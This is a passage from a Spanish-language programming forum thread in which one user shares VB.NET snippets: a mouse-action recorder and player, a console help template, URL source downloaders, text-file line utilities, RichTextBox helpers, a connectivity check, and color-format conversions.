  77.        Record_Timer.Interval = Mouse_Speed
  78.  
  79.        ' Start Recording:
  80.        Record_Timer.Start()
  81.  
  82.    End Sub
  83.  
  84.    ''' <summary>
  85.    ''' Stop recording the mouse actions.
  86.    ''' </summary>
  87.    Public Shared Sub Stop_Record()
  88.        Record_Timer.Stop()
  89.    End Sub
  90.  
  91.    ''' <summary>
  92.    ''' Reproduce the mouse actions.
  93.    ''' </summary>
  94.    Public Shared Sub Play()
  95.        Thread_MousePlay_Var = New Threading.Thread(AddressOf Thread_MousePlay)
  96.        Thread_MousePlay_Var.IsBackground = True
  97.        Thread_MousePlay_Var.Start()
  98.    End Sub
  99.  
  100.    ' Procedure used to store the mouse actions
  101.    Private Shared Sub Record_Timer_Tick(sender As Object, e As EventArgs) Handles Record_Timer.Tick
  102.  
  103.        Coordenates_List.Add(Control.MousePosition)
  104.  
  105.        ' Record Left click
  106.        If Not Last_ClickState_Left = GetAsyncKeyState(1) Then
  107.            Last_ClickState_Left = GetAsyncKeyState(1)
  108.            If GetAsyncKeyState(1) = 32768 Then
  109.                Click_Count += 1
  110.                Coordenates_List.Add(Nothing)
  111.                Clicks_Dictionary.Add(Click_Count, MouseButton.Left_Down)
  112.            ElseIf GetAsyncKeyState(1) = 0 Then
  113.                Click_Count += 1
  114.                Coordenates_List.Add(Nothing)
  115.                Clicks_Dictionary.Add(Click_Count, MouseButton.Left_Up)
  116.            End If
  117.        End If
  118.  
  119.        ' Record Right click
  120.        If Not Last_ClickState_Right = GetAsyncKeyState(2) Then
  121.            Last_ClickState_Right = GetAsyncKeyState(2)
  122.            If GetAsyncKeyState(2) = 32768 Then
  123.                Click_Count += 1
  124.                Coordenates_List.Add(Nothing)
  125.                Clicks_Dictionary.Add(Click_Count, MouseButton.Right_Down)
  126.            ElseIf GetAsyncKeyState(2) = 0 Then
  127.                Click_Count += 1
  128.                Coordenates_List.Add(Nothing)
  129.                Clicks_Dictionary.Add(Click_Count, MouseButton.Right_Up)
  130.            End If
  131.        End If
  132.  
  133.        ' Record Middle click
  134.        If Not Last_ClickState_Middle = GetAsyncKeyState(4) Then
  135.            Last_ClickState_Middle = GetAsyncKeyState(4)
  136.            If GetAsyncKeyState(4) = 32768 Then
  137.                Click_Count += 1
  138.                Coordenates_List.Add(Nothing)
  139.                Clicks_Dictionary.Add(Click_Count, MouseButton.Middle_Down)
  140.            ElseIf GetAsyncKeyState(4) = 0 Then
  141.                Click_Count += 1
  142.                Coordenates_List.Add(Nothing)
  143.                Clicks_Dictionary.Add(Click_Count, MouseButton.Middle_Up)
  144.            End If
  145.        End If
  146.  
  147.    End Sub
  148.  
  149.    ' Procedure to play a mouse button (click)
  150.    Private Shared Sub Mouse_Click(ByVal MouseButton As MouseButton)
  151.        Select Case MouseButton
  152.            Case MouseButton.Left : Mouse_Event(MouseButton.Left_Down, 0, 0, 0, 0) : Mouse_Event(MouseButton.Left_Up, 0, 0, 0, 0)
  153.            Case MouseButton.Right : Mouse_Event(MouseButton.Right_Down, 0, 0, 0, 0) : Mouse_Event(MouseButton.Right_Up, 0, 0, 0, 0)
  154.            Case MouseButton.Middle : Mouse_Event(MouseButton.Middle_Down, 0, 0, 0, 0) : Mouse_Event(MouseButton.Middle_Up, 0, 0, 0, 0)
  155.            Case Else : Mouse_Event(MouseButton, 0, 0, 0, 0)
  156.        End Select
  157.    End Sub
  158.  
  159.    ' Thread used for reproduce the mouse actions
  160.    Private Shared Sub Thread_MousePlay()
  161.  
  162.        Click_Count = 0
  163.        Clicks_Dictionary.Item(0) = Nothing
  164.  
  165.        For Each Coordenate In Coordenates_List
  166.  
  167.            Threading.Thread.Sleep(Mouse_Speed)
  168.  
  169.            If Coordenate = Nothing Then
  170.                Click_Count += 1
  171.                If Click_Count > 1 Then
  172.                    Mouse_Click(Clicks_Dictionary.Item(Click_Count))
  173.                End If
  174.            Else
  175.                Cursor.Position = Coordenate
  176.            End If
  177.  
  178.        Next
  179.  
  180.        Mouse_Click(MouseButton.Left_Up)
  181.        Mouse_Click(MouseButton.Right_Up)
  182.        Mouse_Click(MouseButton.Middle_Up)
  183.  
  184.        Play_Is_Completed = True
  185.  
  186.    End Sub
  187.  
  188. End Class
  189.  
  190. #End Region


Título: Re: Librería de Snippets !! (Posteen aquí sus snippets)
Publicado por: Eleкtro en 28 Mayo 2013, 18:39 pm
Sección de ayuda para aplicaciones CommandLine.

(http://img13.imageshack.us/img13/6986/captura1o.png)

Código
  1. #Region " Help Section "
  2.  
  3.    Private Sub Help()
  4.  
  5.        Dim Logo As String = <a><![CDATA[
  6. .____                        
  7. |    |    ____   ____   ____  
  8. |    |   /  _ \ / ___\ /  _ \
  9. |    |__(  <_> ) /_/  >  <_> )
  10. |_______ \____/\___  / \____/
  11.        \/    /_____/    By Elektro H@cker
  12. ]]></a>.Value
  13.  
  14.        Dim Help As String = <a><![CDATA[  
  15.  
  16. [+] Syntax:
  17.  
  18.    Program.exe [FILE] [SWITCHES]
  19.  
  20. [+] Switches:
  21.  
  22.    /Switch1   | Description.    (Default Value: X)
  23.    /Switch2   | Description.
  24.    /? (or) -? | Show this help.
  25.  
  26. [+] Switch value Syntax:
  27.  
  28.    /Switch1   (ms)
  29.    /Switch2   (X,Y)
  30.  
  31. [+] Usage examples:
  32.  
  33.    Program.exe "C:\File.txt" /Switch1
  34.    (Short explanation)
  35.  
  36. ]]></a>.Value
  37.  
  38.        Console.WriteLine(Logo & Help)
  39.        Application.Exit()
  40.  
  41.    End Sub
  42.  
  43. #End Region


Título: Re: Librería de Snippets !! (Posteen aquí sus snippets)
Publicado por: Eleкtro en 29 Mayo 2013, 02:55 am
Descarga el código fuente de una URL al disco duro

Código
  1. #Region " Download URL SourceCode "
  2.  
  3.    ' [ Download URL SourceCode ]
  4.    '
  5.    ' Examples :
  6.    ' Download_URL_SourceCode("http://www.elhacker.net", "C:\Source.html")
  7.  
  8.    Private Sub Download_URL_SourceCode(ByVal url As String, ByVal OutputFile As String)
  9.  
  10.        Try
  11.            Using TextFile As New IO.StreamWriter(OutputFile, False, System.Text.Encoding.Default)
  12.                TextFile.WriteLine(New System.IO.StreamReader(System.Net.HttpWebRequest.Create(url).GetResponse().GetResponseStream()).ReadToEnd())
  13.            End Using
  14.  
  15.        Catch ex As Exception
  16.            MsgBox(ex.Message)
  17.        End Try
  18.  
  19.    End Sub
  20.  
  21. #End Region



Devuelve el código fuente de una URL

Código
  1. #Region " Get URL SourceCode "
  2.  
  3.    ' [ Get URL SourceCode Function ]
  4.    '
  5.    ' Examples :
  6.    ' MsgBox(Get_URL_SourceCode("http://www.google.com"))
  7.    ' Clipboard.SetText(Get_URL_SourceCode("http://www.google.com"))
  8.  
  9.    Private Function Get_URL_SourceCode(ByVal url As String, Optional ByVal OutputFile As String = Nothing) As String
  10.  
  11.        Try
  12.            Return New System.IO.StreamReader(System.Net.HttpWebRequest.Create(url).GetResponse().GetResponseStream()).ReadToEnd()
  13.        Catch ex As Exception
  14.            MsgBox(ex.Message)
  15.            Return Nothing
  16.        End Try
  17.  
  18.    End Function
  19.  
  20. #End Region




Parsear un HTML usando RegEx

Código
  1.    Private Sub Parse_HTML(ByVal TextFile As String)
  2.  
  3.        ' RegEx
  4.        Dim RegEx_Url As New System.Text.RegularExpressions.Regex("http://www.mp3crank.com.*\.html?")
  5.        Dim RegEx_Year As New System.Text.RegularExpressions.Regex("[1-2][0-9][0-9][0-9]")
  6.  
  7.        Dim Line As String = Nothing
  8.        Dim Text As New IO.StringReader(My.Computer.FileSystem.ReadAllText(TextFile))
  9.  
  10.        Do
  11.  
  12.            Line = Text.ReadLine()
  13.  
  14.            If Line Is Nothing Then
  15.  
  16.                Exit Do ' End of file
  17.  
  18.            Else
  19.  
  20.                ' Strip Year
  21.                '
  22.                ' Example:
  23.                ' <span class="year">2009</span>
  24.                '
  25.                If Line.Contains(<a><![CDATA[<span class="year">]]></a>.Value) Then
  26.                    MsgBox(RegEx_Year.Match(Line).Groups(0).ToString)
  27.                End If
  28.  
  29.                ' Strip URL
  30.                '
  31.                ' Example:
  32.                ' <div class="album"><h2><a href="http://www.mp3crank.com/echo-movement/in-the-ocean.htm"</a></h2></div>
  33.                '
  34.                If Line.Contains(<a><![CDATA[<div class="album">]]></a>.Value) Then
  35.                    MsgBox(RegEx_Url.Match(Line).Groups(0).ToString)
  36.                End If
  37.  
  38.            End If
  39.  
  40.        Loop
  41.  
  42.        Text.Close() : Text.Dispose()
  43.  
  44.    End Sub


Título: Re: Librería de Snippets !! (Posteen aquí sus snippets)
Publicado por: Eleкtro en 29 Mayo 2013, 03:07 am
Elimina un Item de un Array

Código
  1. #Region " Remove Item From Array "
  2.  
  3.    ' [ Remove Item From Array ]
  4.    '
  5.    ' Examples :
  6.    ' Dim MyArray() As String = {"Elektro", "H@cker", "Christian"}
  7.    ' Remove_Item_From_Array(MyArray, 0)               ' Remove first element => {"H@cker", "Christian"}
  8.    ' Remove_Item_From_Array(MyArray, UBound(MyArray)) ' Remove last element => {"Elektro", "H@cker"}
  9.  
  10.    Public Sub Remove_Item_From_Array(Of T)(ByRef Array_Name() As T, ByVal Index As Integer)
  11.        Array.Copy(Array_Name, Index + 1, Array_Name, Index, UBound(Array_Name) - Index)
  12.        ReDim Preserve Array_Name(UBound(Array_Name) - 1)
  13.    End Sub
  14.  
  15. #End Region



Concatena un array, con opción de enumerarlo...

Código
  1. #Region " Join Array "
  2.  
  3.    ' [ Join Array Function ]
  4.    '
  5.    ' // By Elektro H@cker
  6.    '
  7.    ' Examples :
  8.    ' Dim MyArray() As String = {"Hola", "que", "ase?"}
  9.    ' MsgBox(Join_Array(MyArray, vbNewLine))
  10.    ' MsgBox(Join_Array(MyArray, vbNewLine, True))
  11.  
  12.    Private Function Join_Array(ByRef Array_Name As Array, ByVal Separator As String, _
  13.                                Optional ByVal Enumerate As Boolean = False) As String
  14.  
  15.        Try
  16.            If Enumerate Then
  17.                Dim Index As Int64 = 0
  18.                Dim Joined_str As String = String.Empty
  19.  
  20.                For Each Item In Array_Name
  21.                    Joined_str += Index & ". " & Item & Separator
  22.                    Index += 1
  23.                Next
  24.  
  25.                Return Joined_str
  26.            Else
  27.                Return String.Join(Separator, Array_Name)
  28.            End If
  29.  
  30.        Catch ex As Exception
  31.            MsgBox(ex.Message)
  32.            Return Nothing
  33.        End Try
  34.  
  35.    End Function
  36.  
  37. #End Region



Revierte el contenido de un texto

Código
  1. #Region " Reverse TextFile "
  2.  
  3.    ' [ Reverse TextFile ]
  4.    '
  5.    ' // By Elektro H@cker
  6.    '
  7.    ' Examples :
  8.    ' Reverse_TextFile("C:\File.txt")
  9.  
  10.    Private Sub Reverse_TextFile(ByVal File As String)
  11.  
  12.        Try
  13.  
  14.            Dim strArray() As String = IO.File.ReadAllLines(File)
  15.            Array.Reverse(strArray)
  16.  
  17.            Using WriteFile As New IO.StreamWriter(File, False, System.Text.Encoding.Default)
  18.                WriteFile.WriteLine(String.Join(vbNewLine, strArray))
  19.            End Using
  20.  
  21.        Catch ex As Exception
  22.            MsgBox(ex.Message)
  23.        End Try
  24.  
  25.    End Sub
  26.  
  27. #End Region



Elimina una línea de un texto

Código
  1. #Region " Delete Line From TextFile "
  2.  
  3.    ' [ Delete Line From TextFile Function ]
  4.    '
  5.    ' // By Elektro H@cker
  6.    '
  7.    ' Examples :
  8.    ' Delete_Line_From_TextFile("C:\File.txt", 3)
  9.    ' Delete_Line_From_TextFile("C:\File.txt", 3, True)
  10.  
  11.    Private Sub Delete_Line_From_TextFile(ByVal File As String, ByVal Line_Number As Int64, _
  12.                                          Optional ByVal Make_Empty_Line As Boolean = False)
  13.  
  14.        Dim Line_Length As Int64 = 0
  15.        Line_Number -= 1
  16.  
  17.        Try
  18.            Line_Length = IO.File.ReadAllLines(File).Length
  19.        Catch ex As Exception
  20.            MsgBox(ex.Message)
  21.            Exit Sub
  22.        End Try
  23.  
  24.        Select Case Line_Number
  25.  
  26.            Case Is <= (0 Or 1), Is > Line_Length
  27.  
  28.                MsgBox("Want to cut first " & (Line_Number - 1) & " lines" & vbNewLine & _
  29.                       "But """ & File & """ have " & Line_Length & " lines.")
  30.                Exit Sub
  31.  
  32.            Case Else
  33.  
  34.                Dim strArray() As String = IO.File.ReadAllLines(File)
  35.  
  36.                If Make_Empty_Line Then
  37.                    Array.Copy(strArray, Line_Number + 1, strArray, Line_Number, UBound(strArray) - Line_Number)
  38.                    ReDim Preserve strArray(UBound(strArray) - 1)
  39.                End If
  40.  
  41.                MsgBox(String.Join(vbNewLine, strArray))
  42.  
  43.                Using WriteFile As New IO.StreamWriter(File, False, System.Text.Encoding.Default)
  44.                    WriteFile.WriteLine(String.Join(vbNewLine, strArray))
  45.                End Using
  46.  
  47.        End Select
  48.  
  49.    End Sub
  50.  
  51. #End Region



Elimina las primeras X líneas de un archivo de texto

Código
  1. #Region " Cut First Lines From TextFile "
  2.  
  3.    ' [ Cut First Lines From TextFile Function ]
  4.    '
  5.    ' // By Elektro H@cker
  6.    '
  7.    ' Examples :
  8.    ' Cut_First_Lines_From_TextFile("C:\File.txt", 3)
  9.  
  10.    Private Sub Cut_First_Lines_From_TextFile(ByVal File As String, ByVal Lines As Int64)
  11.  
  12.        Dim Line_Length As Int64 = 0
  13.        Lines += 1
  14.  
  15.        Try
  16.            Line_Length = IO.File.ReadAllLines(File).Length
  17.        Catch ex As Exception
  18.            MsgBox(ex.Message)
  19.            Exit Sub
  20.        End Try
  21.  
  22.        Select Case Lines
  23.  
  24.            Case Is <= (0 Or 1), Is > Line_Length
  25.  
  26.                MsgBox("Want to cut first " & (Lines - 1) & " lines" & vbNewLine & _
  27.                       "But """ & File & """ have " & Line_Length & " lines.")
  28.                Exit Sub
  29.  
  30.            Case Else
  31.  
  32.                Dim strArray() As String = IO.File.ReadAllLines(File)
  33.                Array.Reverse(strArray)
  34.                ReDim Preserve strArray(strArray.Length - (Lines))
  35.                Array.Reverse(strArray)
  36.  
  37.                Using WriteFile As New IO.StreamWriter(File, False, System.Text.Encoding.Default)
  38.                    WriteFile.WriteLine(String.Join(vbNewLine, strArray))
  39.                End Using
  40.  
  41.        End Select
  42.  
  43.    End Sub
  44.  
  45. #End Region



Elimina las últimas X líneas de un archivo de texto

Código
  1. #Region " Cut Last Lines From TextFile "
  2.  
  3.    ' [ Cut Last Lines From TextFile Function ]
  4.    '
  5.    ' // By Elektro H@cker
  6.    '
  7.    ' Examples :
  8.    ' Cut_Last_Lines_From_TextFile("C:\File.txt", 3)
  9.  
  10.    Private Sub Cut_Last_Lines_From_TextFile(ByVal File As String, ByVal Lines As Int64)
  11.  
  12.        Dim Line_Length As Int64 = 0
  13.        Lines += 1
  14.  
  15.        Try
  16.            Line_Length = IO.File.ReadAllLines(File).Length
  17.        Catch ex As Exception
  18.            MsgBox(ex.Message)
  19.            Exit Sub
  20.        End Try
  21.  
  22.        Select Case Lines
  23.  
  24.            Case Is <= (0 Or 1), Is > Line_Length
  25.  
  26.                MsgBox("Want to cut last " & (Lines - 1) & " lines" & vbNewLine & _
  27.                       "But """ & File & """ have " & Line_Length & " lines.")
  28.                Exit Sub
  29.  
  30.            Case Else
  31.  
  32.                Dim strArray() As String = IO.File.ReadAllLines(File)
  33.                ReDim Preserve strArray(strArray.Length - (Lines))
  34.  
  35.                Using WriteFile As New IO.StreamWriter(File, False, System.Text.Encoding.Default)
  36.                    WriteFile.WriteLine(String.Join(vbNewLine, strArray))
  37.                End Using
  38.  
  39.        End Select
  40.  
  41.    End Sub
  42.  
  43. #End Region



Guarda las primmeras X líneas y elimina el resto de líneas de un archivo de texto.

Código
  1. #Region " Keep First Lines From TextFile "
  2.  
  3.    ' [ Keep First Lines From TextFile Function ]
  4.    '
  5.    ' // By Elektro H@cker
  6.    '
  7.    ' Examples :
  8.    ' Keep_First_Lines_From_TextFile("C:\File.txt", 3)
  9.  
  10.    Private Sub Keep_First_Lines_From_TextFile(ByVal File As String, ByVal Lines As Int64)
  11.  
  12.        Dim Line_Length As Int64 = 0
  13.        Lines -= 1
  14.  
  15.        Try
  16.            Line_Length = IO.File.ReadAllLines(File).Length
  17.        Catch ex As Exception
  18.            MsgBox(ex.Message)
  19.            Exit Sub
  20.        End Try
  21.  
  22.        Select Case Lines
  23.  
  24.            Case Is < 0, Is >= Line_Length
  25.  
  26.                MsgBox("Want to keep first " & (Lines + 1) & " lines" & vbNewLine & _
  27.                       "But """ & File & """ have " & Line_Length & " lines.")
  28.                Exit Sub
  29.  
  30.            Case Else
  31.  
  32.                Dim strArray() As String = IO.File.ReadAllLines(File)
  33.                ReDim Preserve strArray(Lines)
  34.  
  35.                Using WriteFile As New IO.StreamWriter(File, False, System.Text.Encoding.Default)
  36.                    WriteFile.WriteLine(String.Join(vbNewLine, strArray))
  37.                End Using
  38.  
  39.        End Select
  40.  
  41.    End Sub
  42.  
  43. #End Region



Guarda las últimas X líneas y elimina el resto de líneas de un archivo de texto.

Código
  1. #Region " Keep Last Lines From TextFile "
  2.  
  3.    ' [ Keep Last Lines From TextFile Function ]
  4.    '
  5.    ' // By Elektro H@cker
  6.    '
  7.    ' Examples :
  8.    ' Keep_Last_Lines_From_TextFile("C:\File.txt", 3)
  9.  
  10.    Private Sub Keep_Last_Lines_From_TextFile(ByVal File As String, ByVal Lines As Int64)
  11.  
  12.        Dim Line_Length As Int64 = 0
  13.        Lines -= 1
  14.  
  15.        Try
  16.            Line_Length = IO.File.ReadAllLines(File).Length
  17.        Catch ex As Exception
  18.            MsgBox(ex.Message)
  19.            Exit Sub
  20.        End Try
  21.  
  22.        Select Case Lines
  23.  
  24.            Case Is < 0, Is >= Line_Length
  25.  
  26.                MsgBox("Want to keep last " & (Lines + 1) & " lines" & vbNewLine & _
  27.                       "But """ & File & """ have " & Line_Length & " lines.")
  28.                Exit Sub
  29.  
  30.            Case Else
  31.  
  32.                Dim strArray() As String = IO.File.ReadAllLines(File)
  33.                Array.Reverse(strArray)
  34.                ReDim Preserve strArray(Lines)
  35.                Array.Reverse(strArray)
  36.  
  37.                Using WriteFile As New IO.StreamWriter(File, False, System.Text.Encoding.Default)
  38.                    WriteFile.WriteLine(String.Join(vbNewLine, strArray))
  39.                End Using
  40.  
  41.        End Select
  42.  
  43.    End Sub
  44.  
  45. #End Region



Devuelve el el total de líneas de un archivo de texto, con opción de incluir líneas en blanco

Código
  1. #Region " Get TextFile Total Lines "
  2.  
  3.    ' [ Get TextFile Total Lines Function ]
  4.    '
  5.    ' Examples :
  6.    '
  7.    ' MsgBox(Get_TextFile_Total_Lines("C:\File.txt"))
  8.    ' MsgBox(Get_TextFile_Total_Lines("C:\File.txt", False))
  9.  
  10.    Private Function Get_TextFile_Total_Lines(ByVal File As String, _
  11.                                              Optional ByVal Include_BlankLines As Boolean = True) As Int64
  12.        Try
  13.            If Include_BlankLines Then
  14.                Return IO.File.ReadAllLines(File).Length
  15.            Else
  16.                Dim LineCount As Int64
  17.                For Each Line In IO.File.ReadAllLines(File)
  18.                    If Not Line = String.Empty Then LineCount += 1
  19.                    ' Application.DoEvents()
  20.                Next
  21.                Return LineCount
  22.            End If
  23.        Catch ex As Exception
  24.            MsgBox(ex.Message)
  25.            Return -1
  26.        End Try
  27.    End Function
  28.  
  29. #End Region


Título: Re: Librería de Snippets !! (Posteen aquí sus snippets)
Publicado por: Eleкtro en 29 Mayo 2013, 03:23 am
Unos snippets especiálmente para un RichTextBox:

Devuelve la posición actual del cursor.

Código
  1. #Region " Get RichTextBox Cursor Position "
  2.  
  3.    ' [ Get RichTextBox Cursor Position Function ]
  4.    '
  5.    ' // By Elektro H@cker
  6.    '
  7.    ' Examples :
  8.    ' MsgBox(Get_RichTextBox_Cursor_Position(RichTextBox1))
  9.    ' RichTextBox1.SelectionStart = (Get_RichTextBox_Cursor_Position(RichTextBox1) + 1) : RichTextBox1.Focus()
  10.  
  11.    Public Function Get_RichTextBox_Cursor_Position(ByVal RichTextBox_Object As RichTextBox) As Int64
  12.        Return RichTextBox_Object.SelectionStart
  13.    End Function
  14.  
  15. #End Region



Copia todo el texto del RichTextBox al portapapeles

Código
  1. #Region " Copy All RichTextBox Text "
  2.  
  3.    ' [ Copy All RichTextBox Text Function ]
  4.    '
  5.    ' // By Elektro H@cker
  6.    '
  7.    ' Examples :
  8.    ' Copy_All_RichTextBox_Text(RichTextBox1)
  9.  
  10.    Public Sub Copy_All_RichTextBox_Text(ByVal RichTextBox_Object As RichTextBox)
  11.  
  12.        ' Save the current cursor position
  13.        Dim Caret_Position As Int64 = RichTextBox_Object.SelectionStart
  14.  
  15.        ' Save the current selected text (If any)
  16.        Dim Selected_Text_Start As Int64, Selected_Text_Length As Int64
  17.        If RichTextBox_Object.SelectionLength > 0 Then
  18.            Selected_Text_Start = RichTextBox_Object.SelectionStart
  19.            Selected_Text_Length = RichTextBox_Object.SelectionLength
  20.        End If
  21.  
  22.        RichTextBox_Object.SelectAll() ' Select all text
  23.        RichTextBox_Object.Copy() ' Copy all text
  24.        RichTextBox_Object.Select(Selected_Text_Start, Selected_Text_Length) ' Returns to the previous selected text
  25.        RichTextBox_Object.SelectionStart = Caret_Position ' Returns to the previous cursor position
  26.        ' RichTextBox_Object.Focus() ' Focus again the richtextbox
  27.  
  28.    End Sub
  29.  
  30. #End Region



Desactiva un menú contextual si el RichTextBox no contiene texto, activa el menú si el RichTextBox contiene texto.

Código
  1. #Region " Toggle RichTextBox Menu "
  2.  
  3.    ' [ Toggle RichTextBox Menu ]
  4.    '
  5.    ' // By Elektro H@cker
  6.    '
  7.    ' Examples :
  8.    ' Private Sub RichTextBox1_TextChanged(sender As Object, e As EventArgs) Handles RichTextBox1.TextChanged
  9.    '     Toogle_RichTextBox_Menu(sender, ContextMenuStrip1)
  10.    ' End Sub
  11.  
  12.    Private Sub Toggle_RichTextBox_Menu(ByVal RichTextBox As RichTextBox, ByVal ContextMenuStrip As ContextMenuStrip)
  13.        If RichTextBox.Lines.Count > 0 Then
  14.            ContextMenuStrip.Enabled = True
  15.        Else
  16.            ContextMenuStrip.Enabled = False
  17.        End If
  18.    End Sub
  19.  
  20. #End Region



Seleccionar líneas enteras

Código
  1.     ' RichTextBox [ MouseDown ]
  2.    Private Sub RichTextBox1_MouseDown(ByVal sender As Object, ByVal e As MouseEventArgs) Handles RichTextBox1.MouseDown
  3.  
  4.        Try
  5.            Dim line = sender.GetLineFromCharIndex(sender.GetCharIndexFromPosition(e.Location))
  6.            Dim lineStart = sender.GetFirstCharIndexFromLine(line)
  7.            Dim lineEnd = sender.GetFirstCharIndexFromLine(line + 1) - 1
  8.            sender.SelectionStart = lineStart
  9.  
  10.            If (lineEnd - lineStart) > 0 Then
  11.                sender.SelectionLength = lineEnd - lineStart
  12.            Else
  13.                sender.SelectionLength = lineStart - lineEnd ' Reverse the values because is the last line of RichTextBox
  14.            End If
  15.  
  16.        Catch ex As Exception : MsgBox(ex.Message)
  17.        End Try
  18.  
  19.    End Sub



Abrir links en el navegador

Código
  1.    ' RichTextBox [ LinkClicked ]
  2.    Private Sub RichTextBox1_LinkClicked(sender As Object, e As LinkClickedEventArgs) Handles RichTextBox1.LinkClicked
  3.        Process.Start(e.LinkText)
  4.    End Sub


Título: Re: Librería de Snippets !! (Posteen aquí sus snippets)
Publicado por: Eleкtro en 29 Mayo 2013, 03:30 am
Comprobar la conectividad de red

Código
  1. #Region " Is Connectivity Avaliable? function "
  2.  
  3.    ' [ Is Connectivity Avaliable? Function ]
  4.    '
  5.    ' // By Elektro H@cker
  6.    '
  7.    ' Examples :
  8.    ' MsgBox(Is_Connectivity_Avaliable())
  9.    ' While Not Is_Connectivity_Avaliable() : Application.DoEvents() : End While
  10.  
  11.    Private Function Is_Connectivity_Avaliable()
  12.  
  13.        Dim WebSites() As String = {"Google.com", "Facebook.com", "Microsoft.com"}
  14.  
  15.        If My.Computer.Network.IsAvailable Then
  16.            For Each WebSite In WebSites
  17.                Try
  18.                    My.Computer.Network.Ping(WebSite)
  19.                    Return True ' Network connectivity is OK.
  20.                Catch : End Try
  21.            Next
  22.            Return False ' Network connectivity is down.
  23.        Else
  24.            Return False ' No network adapter is connected.
  25.        End If
  26.  
  27.    End Function
  28.  
  29. #End Region



Comprobar si un número es negativo

Código
  1. #Region " Number Is Negavite "
  2.  
  3.    ' [ Number Is Negavite? Function ]
  4.    '
  5.    ' // By Elektro H@cker
  6.    '
  7.    ' Examples :
  8.    ' MsgBox(Number_Is_Negavite(-5)) ' Result: True
  9.    ' MsgBox(Number_Is_Negavite(5))  ' Result: False
  10.  
  11.    Private Function Number_Is_Negavite(ByVal Number As Int64) As Boolean
  12.        Return Number < 0
  13.    End Function
  14.  
  15. #End Region



Comprobar si un número es positivo

Código
  1. #Region " Number Is Positive "
  2.  
  3.    ' [ Number Is Positive? Function ]
  4.    '
  5.    ' // By Elektro H@cker
  6.    '
  7.    ' Examples :
  8.    ' MsgBox(Number_Is_Positive(5))  ' Result: True
  9.    ' MsgBox(Number_Is_Positive(-5)) ' Result: False
  10.  
  11.    Private Function Number_Is_Positive(ByVal Number As Int64) As Boolean
  12.        Return Number > 0
  13.    End Function
  14.  
  15. #End Region



Convierte un color html a rgb

Código
  1. #Region " HTML To RGB "
  2.  
  3.    ' [ HTML To RGB Function ]
  4.    '
  5.    ' // By Elektro H@cker
  6.    '
  7.    ' Examples :
  8.    ' MsgBox(HTML_To_RGB("#FFFFFF"))        ' Result: 255,255,255
  9.    ' MsgBox(HTML_To_RGB("#FFFFFF", RGB.R)) ' Result: 255
  10.  
  11.    Public Enum RGB As Int16
  12.        RGB
  13.        R
  14.        G
  15.        B
  16.    End Enum
  17.  
  18.    Private Function HTML_To_RGB(ByVal HTML_Color As String, Optional ByVal R_G_B As RGB = RGB.RGB) As String
  19.        Dim Temp_Color As Color = ColorTranslator.FromHtml(HTML_Color)
  20.  
  21.        Select Case R_G_B
  22.            Case RGB.R : Return Temp_Color.R
  23.            Case RGB.G : Return Temp_Color.G
  24.            Case RGB.B : Return Temp_Color.B
  25.            Case RGB.RGB : Return (Temp_Color.R & "," & Temp_Color.G & "," & Temp_Color.B)
  26.            Case Else : Return Nothing
  27.        End Select
  28.  
  29.    End Function
  30.  
  31. #End Region



Convierte color hexadecimal a html

Código
  1. #Region " HTML To HEX "
  2.  
  3.    ' [ HTML To HEX Function ]
  4.    '
  5.    ' // By Elektro H@cker
  6.    '
  7.    ' Examples :
  8.    ' MsgBox(HTML_To_HEX("#FFFFFF")) ' Result: 0xFFFFFF
  9.  
  10.    Private Function HTML_To_HEX(ByVal HTML_Color As String) As String
  11.        Dim Temp_Color As Color = ColorTranslator.FromHtml(HTML_Color)
  12.        Return ("0x" & Hex(Temp_Color.R) & Hex(Temp_Color.G) & Hex(Temp_Color.B))
  13.    End Function
  14.  
  15. #End Region



color rgb a html

Código
  1. #Region " RGB To HTML "
  2.  
  3.    ' [ RGB To HTML Function ]
  4.    '
  5.    ' // By Elektro H@cker
  6.    '
  7.    ' Examples :
  8.    ' MsgBox(RGB_To_HTML(255, 255, 255)) ' Result: #FFFFFF
  9.    ' PictureBox1.BackColor = ColorTranslator.FromHtml(RGB_To_HTML(255, 255, 255))
  10.  
  11.    Private Function RGB_To_HTML(ByVal R As Int16, ByVal G As Int16, ByVal B As Int16) As String
  12.        Return ColorTranslator.ToHtml(Color.FromArgb(R, G, B))
  13.    End Function
  14.  
  15. #End Region



color rgb a hexadecimal

Código
  1. #Region " RGB To HEX "
  2.  
  3.    ' [ RGB To HEX Function ]
  4.    '
  5.    ' // By Elektro H@cker
  6.    '
  7.    ' Examples :
  8.    ' MsgBox(RGB_To_HEX(255, 255, 255)) ' Result: 0xFFFFFF
  9.  
  10.    Private Function RGB_To_HEX(ByVal R As Int16, ByVal G As Int16, ByVal B As Int16) As String
  11.        Return ("0x" & Hex(R) & Hex(G) & Hex(B))
  12.    End Function
  13.  
  14. #End Region



color conocido a rgb

Código
  1. #Region " Color To RGB "
  2.  
  3.    ' [ Color To RGB Function ]
  4.    '
  5.    ' // By Elektro H@cker
  6.    '
  7.    ' Examples :
  8.    ' MsgBox(Color_To_RGB(Color.White))
  9.    ' MsgBox(Color_To_RGB(Color.White, RGB.R))
  10.    ' PictureBox1.BackColor = Color.FromArgb(Color_To_RGB(Color.Red, RGB.R), Color_To_RGB(Color.Red, RGB.G), Color_To_RGB(Color.Red, RGB.B))
  11.  
  12.    Public Enum RGB As Int16
  13.        RGB
  14.        R
  15.        G
  16.        B
  17.    End Enum
  18.  
  19.    Private Function Color_To_RGB(ByVal Color As Color, Optional ByVal R_G_B As RGB = RGB.RGB) As String
  20.  
  21.        Select Case R_G_B
  22.            Case RGB.R : Return Color.R
  23.            Case RGB.G : Return Color.G
  24.            Case RGB.B : Return Color.B
  25.            Case RGB.RGB : Return (Color.R & "," & Color.G & "," & Color.B)
  26.            Case Else : Return Nothing
  27.        End Select
  28.  
  29.    End Function
  30.  
  31. #End Region



color conocido a html

Código
  1. #Region " Color To HTML "
  2.  
  3.    ' [ Color To HTML Function ]
  4.    '
  5.    ' // By Elektro H@cker
  6.    '
  7.    ' Examples :
  8.    ' MsgBox(Color_To_HTML(Color.White))
  9.    ' PictureBox1.BackColor = ColorTranslator.FromHtml(Color_To_HTML(Color.White))
  10.  
  11.    Private Function Color_To_HTML(ByVal Color As Color) As String
  12.        Return ColorTranslator.ToHtml(Color.FromArgb(Color.R, Color.G, Color.B))
  13.    End Function
  14.  
  15. #End Region



color conocido a hexadecimal

Código
  1. #Region " Color To Hex "
  2.  
  3.    ' [ Color To Hex Function ]
  4.    '
  5.    ' // By Elektro H@cker
  6.    '
  7.    ' Examples :
  8.    ' MsgBox(Color_To_Hex(Color.White))
  9.  
